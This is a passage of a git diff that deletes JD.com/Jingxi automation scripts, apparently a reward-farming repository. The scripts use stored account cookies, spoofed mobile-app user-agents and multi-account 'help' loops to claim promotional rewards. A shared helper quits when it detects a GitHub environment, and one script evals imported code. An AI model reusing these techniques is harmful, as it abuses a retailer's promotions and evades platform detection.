i=o[r]-1;e[r]=t[i>>>5]>>>31-i%32&1}for(var n=this._subKeys=[],a=0;a<16;a++){var h=n[a]=[],l=c[a];for(r=0;r<24;r++)h[r/6|0]|=e[(s[r]-1+l)%28]<<31-r%6,h[4+(r/6|0)]|=e[28+(s[r+24]-1+l)%28]<<31-r%6;for(h[0]=h[0]<<1|h[0]>>>31,r=1;r<7;r++)h[r]=h[r]>>>4*(r-1)+3;h[7]=h[7]<<5|h[7]>>>27}var f=this._invSubKeys=[];for(r=0;r<16;r++)f[r]=n[15-r]},encryptBlock:function(t,e){this._doCryptBlock(t,e,this._subKeys)},decryptBlock:function(t,e){this._doCryptBlock(t,e,this._invSubKeys)},_doCryptBlock:function(t,e,r){this._lBlock=t[e],this._rBlock=t[e+1],f.call(this,4,252645135),f.call(this,16,65535),d.call(this,2,858993459),d.call(this,8,16711935),f.call(this,1,1431655765);for(var i=0;i<16;i++){for(var n=r[i],o=this._lBlock,s=this._rBlock,c=0,l=0;l<8;l++)c|=a[l][((s^n[l])&h[l])>>>0];this._lBlock=s,this._rBlock=o^c}var u=this._lBlock;this._lBlock=this._rBlock,this._rBlock=u,f.call(this,1,1431655765),d.call(this,8,16711935),d.call(this,2,858993459),f.call(this,16,65535),f.call(this,4,252645135),t[e]=this._lBlock,t[e+1]=this._rBlock},keySize:2,ivSize:2,blockSize:2});function f(t,e){var r=(this._lBlock>>>t^this._rBlock)&e;this._rBlock^=r,this._lBlock^=r<>>t^this._lBlock)&e;this._lBlock^=r,this._rBlock^=r<192.");var e=t.slice(0,2),i=t.length<4?t.slice(0,2):t.slice(2,4),n=t.length<6?t.slice(0,2):t.slice(4,6);this._des1=l.createEncryptor(r.create(e)),this._des2=l.createEncryptor(r.create(i)),this._des3=l.createEncryptor(r.create(n))},encryptBlock:function(t,e){this._des1.encryptBlock(t,e),this._des2.decryptBlock(t,e),this._des3.encryptBlock(t,e)},decryptBlock:function(t,e){this._des3.decryptBlock(t,e),this._des2.encryptBlock(t,e),this._des1.decryptBlock(t,e)},keySize:6,ivSize:2,blockSize:2});t.TripleDES=i._createHelper(u)}(),function(){var t=mt,e=t.lib.StreamCipher,r=t.algo,i=r.RC4=e.extend({_doReset:function(){for(var t=this._key,e=t.words,r=t.sigBytes,i=this._S=[],n=0;n<256;n++)i[n]=n;n=0;for(var o=0;n<256;n++){var s=n%r,c=e[s>>>2]>>>24-s%4*8&255;o=(o+i[n]+c)%256;var a=i[n];i[n]=i[o],i[o]=a}this._i=this._j=0},_doProcessBlock:function(t,e){t[e]^=n.call(this)},keySize:8,ivSize:0});function n(){for(var t=this._S,e=this._i,r=this._j,i=0,n=0;n<4;n++){r=(r+t[e=(e+1)%256])%256;var o=t[e];t[e]=t[r],t[r]=o,i|=t[(t[e]+t[r])%256]<<24-8*n}return this._i=e,this._j=r,i}t.RC4=e._createHelper(i);var o=r.RC4Drop=i.extend({cfg:i.cfg.extend({drop:192}),_doReset:function(){i._doReset.call(this);for(var t=this.cfg.drop;0>>24)|4278255360&(t[r]<<24|t[r]>>>8);var i=this._X=[t[0],t[3]<<16|t[2]>>>16,t[1],t[0]<<16|t[3]>>>16,t[2],t[1]<<16|t[0]>>>16,t[3],t[2]<<16|t[1]>>>16],n=this._C=[t[2]<<16|t[2]>>>16,4294901760&t[0]|65535&t[1],t[3]<<16|t[3]>>>16,4294901760&t[1]|65535&t[2],t[0]<<16|t[0]>>>16,4294901760&t[2]|65535&t[3],t[1]<<16|t[1]>>>16,4294901760&t[3]|65535&t[0]];for(r=this._b=0;r<4;r++)Rt.call(this);for(r=0;r<8;r++)n[r]^=i[r+4&7];if(e){var o=e.words,s=o[0],c=o[1],a=16711935&(s<<8|s>>>24)|4278255360&(s<<24|s>>>8),h=16711935&(c<<8|c>>>24)|4278255360&(c<<24|c>>>8),l=a>>>16|4294901760&h,f=h<<16|65535&a;for(n[0]^=a,n[1]^=l,n[2]^=h,n[3]^=f,n[4]^=a,n[5]^=l,n[6]^=h,n[7]^=f,r=0;r<4;r++)Rt.call(this)}},_doProcessBlock:function(t,e){var r=this._X;Rt.call(this),lt[0]=r[0]^r[5]>>>16^r[3]<<16,lt[1]=r[2]^r[7]>>>16^r[5]<<16,lt[2]=r[4]^r[1]>>>16^r[7]<<16,lt[3]=r[6]^r[3]>>>16^r[1]<<16;for(var i=0;i<4;i++)lt[i]=16711935&(lt[i]<<8|lt[i]>>>24)|4278255360&(lt[i]<<24|lt[i]>>>8),t[e+i]^=lt[i]},blockSize:4,ivSize:2}),ct.Rabbit=at._createHelper(ut),mt.mode.CTR=(_t=(pt=mt.lib.BlockCipherMode.extend()).Encryptor=pt.extend({processBlock:function(t,e){var r=this._cipher,i=r.blockSize,n=this._iv,o=this._counter;n&&(o=this._counter=n.slice(0),this._iv=void 0);var s=o.slice(0);r.encryptBlock(s,0),o[i-1]=o[i-1]+1|0;for(var c=0;c>>16,t[1],t[0]<<16|t[3]>>>16,t[2],t[1]<<16|t[0]>>>16,t[3],t[2]<<16|t[1]>>>16],i=this._C=[t[2]<<16|t[2]>>>16,4294901760&t[0]|65535&t[1],t[3]<<16|t[3]>>>16,4294901760&t[1]|65535&t[2],t[0]<<16|t[0]>>>16,4294901760&t[2]|65535&t[3],t[1]<<16|t[1]>>>16,4294901760&t[3]|65535&t[0]],n=this._b=0;n<4;n++)Mt.call(this);for(n=0;n<8;n++)i[n]^=r[n+4&7];if(e){var o=e.words,s=o[0],c=o[1],a=16711935&(s<<8|s>>>24)|4278255360&(s<<24|s>>>8),h=16711935&(c<<8|c>>>24)|4278255360&(c<<24|c>>>8),l=a>>>16|4294901760&h,f=h<<16|65535&a;for(i[0]^=a,i[1]^=l,i[2]^=h,i[3]^=f,i[4]^=a,i[5]^=l,i[6]^=h,i[7]^=f,n=0;n<4;n++)Mt.call(this)}},_doProcessBlock:function(t,e){var r=this._X;Mt.call(this),Bt[0]=r[0]^r[5]>>>16^r[3]<<16,Bt[1]=r[2]^r[7]>>>16^r[5]<<16,Bt[2]=r[4]^r[1]>>>16^r[7]<<16,Bt[3]=r[6]^r[3]>>>16^r[1]<<16;for(var i=0;i<4;i++)Bt[i]=16711935&(Bt[i]<<8|Bt[i]>>>24)|4278255360&(Bt[i]<<24|Bt[i]>>>8),t[e+i]^=Bt[i]},blockSize:4,ivSize:2}),vt.RabbitLegacy=yt._createHelper(St),mt.pad.ZeroPadding={pad:function(t,e){var r=4*e;t.clamp(),t.sigBytes+=r-(t.sigBytes%r||r)},unpad:function(t){var e=t.words,r=t.sigBytes-1;for(r=t.sigBytes-1;0<=r;r--)if(e[r>>>2]>>>24-r%4*8&255){t.sigBytes=r+1;break}}},mt}); -} -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_aid_factory.js b/jd_aid_factory.js deleted file mode 100644 index 10d874d4a..000000000 --- a/jd_aid_factory.js +++ /dev/null @@ -1,72 +0,0 @@ -let common = require("./function/common"); -let $ = new common.env('京喜工厂助力'); -let min = 3, - help = $.config[$.filename(__filename)] || Math.min(min, $.config.JdMain) || min; -$.setOptions({ - headers: { - 'content-type': 'application/json', - 'user-agent': 'jdpingou;iPhone;4.8.2;13.7;a3b4e844090b28d5c38e7529af8115172079be4d;network/wifi;model/iPhone8,1;appBuild/100546;ADID/00000000-0000-0000-0000-000000000000;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/0;hasOCPay/0;supportBestPay/0;session/374;pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 13_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148', - 'referer': 'https://st.jingxi.com/pingou/dream_factory/divide.html?activeId=laD7IwPwDF1-Te-MvbW9Iw==&_close=1&jxsid=16232028831911667857', - } -}); -$.readme = ` -44 */6 * * * task ${$.runfile} -export ${$.runfile}=2 #如需增加被助力账号,在这边修改人数 -` -eval(common.eval.mainEval($)); -async function prepare() { - let deramUrl = 'https://st.jingxi.com/pingou/dream_factory/index.html?ptag=7155.9.46' - let html = await $.curl(deramUrl) - try { - ary = $.matchall(/activeId=([^\&\,]+)","bgImg".+?"start":"([^\"]+)"/g, html) - dicts = {} - for (let i of ary) { - dicts[new Date(i[1]).getTime()] = i[0] - } - max = Math.max(...Object.keys(dicts).filter(d => parseInt(d) < $.timestamp)) - $.activeId = dicts[max] - } catch (e) { - $.activeId = 'yNtpovqFehHByNrt_lmb3g==' - } - console.log("开团ID:", $.activeId) - let url = `https://m.jingxi.com/dreamfactory/tuan/QueryActiveConfig?activeId=${$.activeId}&tuanId=&_time=1623214804148&_stk=_time%2CactiveId%2CtuanId&_ste=1&sceneval=2&g_login_type=1&callback=jsonpCBKA&g_ty=ls` - let dec = await jxAlgo.dec(url) - for (let j of cookies['help']) { - $.setCookie(j); - await $.curl(dec.url) - try { - if ($.source.data.userTuanInfo.tuanId) { - $.sharecode.push($.compact($.source.data.userTuanInfo, ['activeId', 'tuanId'])) - } else {} - } catch (e) {} - } -} -async function main(id) { - common.assert(id.activeId, '没有开团ID') - let url = `https://m.jingxi.com/dreamfactory/tuan/JoinTuan?activeId=${id.activeId}&tuanId=${id.tuanId}&_time=1623214617107&_stk=_time%2CactiveId%2CtuanId&_ste=1&sceneval=2&g_login_type=1&g_ty=ls` - let dec = await jxAlgo.dec(url) - let params = { - 'url': dec.url, - 'cookie': id.cookie - } - await $.curl(params) - console.log($.source) -} -async function extra() { - for (let j of cookies['help']) { - $.setCookie(j); - let url = `https://m.jingxi.com/dreamfactory/tuan/QueryActiveConfig?activeId=${$.activeId}&tuanId=&_time=1623214804148&_stk=_time%2CactiveId%2CtuanId&_ste=1&sceneval=2&g_login_type=1&callback=jsonpCBKA&g_ty=ls` - let dec = await jxAlgo.dec(url) - await $.curl(dec.url) - url = `https://m.jingxi.com/dreamfactory/tuan/Award?activeId=${$.source.data.userTuanInfo.activeId}&tuanId=${$.source.data.userTuanInfo.tuanId}&_time=1623518911051&_stk=_time%2CactiveId%2CtuanId&_ste=1&_=1623518911082&sceneval=2&g_login_type=1&callback=jsonpCBKF&g_ty=ls` - dec = await jxAlgo.dec(url) - await $.curl(dec.url) - console.log($.source) - if ($.source.msg != '您还没有成团') { - url = `https://m.jingxi.com/dreamfactory/tuan/CreateTuan?activeId=${$.activeId}&isOpenApp=1&_time=1624120758151&_stk=_time%2CactiveId%2CisOpenApp&_ste=1` - dec = await jxAlgo.dec(url) - await $.curl(dec.url) - console.log($.source) - } - } -} diff --git a/jd_babel_sign.js b/jd_babel_sign.js deleted file mode 100644 index b137ea8df..000000000 --- a/jd_babel_sign.js +++ /dev/null @@ -1,139 +0,0 @@ -/** -cron 0 0,3 * * * jd_babel_sign.js -入口:主页-秒杀-狂撒三亿京豆 -TG频道:https://t.me/sheeplost -*/ -const $ = new Env('通天塔签到共建'); -const notify = $.isNode() ? require('./sendNotify') : ''; -//Node.js用户请在jdCookie.js处填写京东ck; -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], cookie = ''; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }); - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; -} else { - let cookiesData = $.getdata('CookiesJD') || "[]"; - cookiesData = jsonParse(cookiesData); - cookiesArr = cookiesData.map(item => item.cookie); - cookiesArr.reverse(); - cookiesArr.push(...[$.getdata('CookieJD2'), $.getdata('CookieJD')]); - cookiesArr.reverse(); - cookiesArr = cookiesArr.filter(item => item !== "" && item !== null && item !== undefined); -} -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - return; - } - for (let i = 0; i < cookiesArr.length; i++) { - UA = `jdapp;iPhone;10.0.8;14.6;${uuidRandom()};network/wifi;JDEbook/openapp.jdreader;model/iPhone9,2;addressid/2214222493;appBuild/168841;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/16E158;supportJDSHWK/1`; - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - await TotalBean(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - await main(); - } - } -})().catch((e) => { $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') }).finally(() => { $.done(); }) - -async function main() { - let activeIdInfo = await activeId(); - if (activeIdInfo) { - e = JSON.parse(activeIdInfo.activityData.floorList[2].boardParams.interaction); - // let queryInteractiveInfo = await task('queryInteractiveInfo', { "encryptProjectId": e.encryptProjectId, "encryptAssigmentIds": [e.encryptAssignmentId], "ext": { "rewardEncryptAssignmentId": e.encryptAssignmentId, "timesEncryptAssignmentId": e.encryptAssignmentId, "needNum": 50 }, "sourceCode": "aceaceqingzhan" }); - if (e) { - let taskInfo = await task('doInteractiveAssignment', { "encryptProjectId": e.encryptProjectId, "encryptAssignmentId": e.encryptAssignmentId, "completionFlag": true, "itemId": "1", "sourceCode": "aceaceqingzhan" }); - if (taskInfo.code === "0" && taskInfo.subCode === "0") { - console.log(JSON.stringify(taskInfo.rewardsInfo.successRewards)); - } else { console.log(JSON.stringify(taskInfo)) } - } else { - console.log('没有获取到活动ID') - } - } else { console.log('没有获取到活动信息!') }; -} -function task(functionId, body) { - let opt = { - url: `https://api.m.jd.com/client.action?functionId=${functionId}&appid=babelh5&sign=11&t=${new Date().getTime()}`, - body: `body=${encodeURIComponent(JSON.stringify(body))}`, - headers: { - "Host": "api.m.jd.com", - "Content-Type": "application/x-www-form-urlencoded", - "Origin": "https://prodev.m.jd.com", - "Accept-Encoding": "gzip, deflate, br", - "Cookie": cookie, - "Connection": "keep-alive", - "Accept": "*/*", - "User-Agent": UA, - "Referer": "https://prodev.m.jd.com/mall/active/dHKkhs2AYLCeCH3tEaHRtC1TnvH/index.html", - "Content-Length": "270", - "Accept-Language": "zh-cn", - }, - } - return new Promise(resolve => { - $.post(opt, (err, resp, data) => { - try { - if (err) { - console.log(err) - } else { - data = JSON.parse(data); - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} -function uuidRandom() { - return Math.random().toString(16).slice(2, 10) + - Math.random().toString(16).slice(2, 10) + - Math.random().toString(16).slice(2, 10) + - Math.random().toString(16).slice(2, 10) + - Math.random().toString(16).slice(2, 10); -} -function activeId() { - return new Promise((resolve) => { - const option = { - url: 'https://prodev.m.jd.com/mall/active/dHKkhs2AYLCeCH3tEaHRtC1TnvH/index.html', - headers: { - "Host": "prodev.m.jd.com", - "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", - "Cookie": cookie, - "User-Agent": UA, - "Accept-Language": "zh-cn", - "Accept-Encoding": "gzip, deflate, br", - "Connection": "keep-alive", - }, - } - $.get(option, (err, resp, data) => { - try { - data = JSON.parse(data.match(/window.__react_data__ = (.*);/)[1]); - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }); - }) -} -function random(min, max) { - return Math.floor(Math.random() * (max - min)) + min; -} -function TotalBean() { return new Promise(async e => { const n = { url: "https://wq.jd.com/user_new/info/GetJDUserInfoUnion?sceneval=2", headers: { Host: "wq.jd.com", Accept: "*/*", Connection: "keep-alive", Cookie: cookie, "User-Agent": UA, "Accept-Language": "zh-cn", Referer: "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", "Accept-Encoding": "gzip, deflate, br" } }; $.get(n, (n, o, a) => { try { if (n) $.logErr(n); else if (a) { if (1001 === (a = JSON.parse(a))["retcode"]) return void ($.isLogin = !1); 0 === a["retcode"] && a.data && a.data.hasOwnProperty("userInfo") && ($.nickName = a.data.userInfo.baseInfo.nickname), 0 === a["retcode"] && a.data && a.data["assetInfo"] && ($.beanCount = a.data && a.data["assetInfo"]["beanNum"]) } else console.log("京东服务器返回空数据") } catch (e) { $.logErr(e) } finally { e() } }) }) } -function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() 